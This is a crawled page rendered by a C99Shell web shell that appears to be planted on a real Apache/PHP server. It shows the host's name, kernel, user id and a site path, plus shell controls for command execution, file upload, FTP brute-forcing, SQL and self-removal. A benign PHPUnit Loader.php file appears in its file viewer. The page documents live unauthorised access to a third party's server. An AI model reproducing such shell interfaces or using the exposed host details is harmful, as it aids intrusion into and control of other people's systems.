!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/phpunit/phpunit/src/Util/Xml/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Loader.php (3.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\Util\Xml;

use function 
chdir;
use function 
dirname;
use function 
error_reporting;
use function 
file_get_contents;
use function 
getcwd;
use function 
libxml_get_errors;
use function 
libxml_use_internal_errors;
use function 
sprintf;
use 
DOMDocument;

/**
 * @internal This class is not covered by the backward compatibility promise for PHPUnit
 */
final class Loader
{
    
/**
     * @throws Exception
     */
    
public function loadFile(string $filenamebool $isHtml falsebool $xinclude falsebool $strict false): DOMDocument
    
{
        
$reporting error_reporting(0);
        
$contents  file_get_contents($filename);

        
error_reporting($reporting);

        if (
$contents === false) {
            throw new 
Exception(
                
sprintf(
                    
'Could not read "%s".',
                    
$filename,
                ),
            );
        }

        return 
$this->load($contents$isHtml$filename$xinclude$strict);
    }

    
/**
     * @throws Exception
     */
    
public function load(string $actualbool $isHtml falsestring $filename ''bool $xinclude falsebool $strict false): DOMDocument
    
{
        if (
$actual === '') {
            throw new 
Exception('Could not load XML from empty string');
        }

        
// Required for XInclude on Windows.
        
if ($xinclude) {
            
$cwd getcwd();
            @
chdir(dirname($filename));
        }

        
$document                     = new DOMDocument;
        
$document->preserveWhiteSpace false;

        
$internal  libxml_use_internal_errors(true);
        
$message   '';
        
$reporting error_reporting(0);

        if (
$filename !== '') {
            
// Required for XInclude
            
$document->documentURI $filename;
        }

        if (
$isHtml) {
            
$loaded $document->loadHTML($actual);
        } else {
            
$loaded $document->loadXML($actual);
        }

        if (!
$isHtml && $xinclude) {
            
$document->xinclude();
        }

        foreach (
libxml_get_errors() as $error) {
            
$message .= "\n" $error->message;
        }

        
libxml_use_internal_errors($internal);
        
error_reporting($reporting);

        if (isset(
$cwd)) {
            @
chdir($cwd);
        }

        if (
$loaded === false || ($strict && $message !== '')) {
            if (
$filename !== '') {
                throw new 
Exception(
                    
sprintf(
                        
'Could not load "%s".%s',
                        
$filename,
                        
$message !== '' "\n" $message '',
                    ),
                );
            }

            if (
$message === '') {
                
$message 'Could not load XML for unknown reason';
            }

            throw new 
Exception($message);
        }

        return 
$document;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--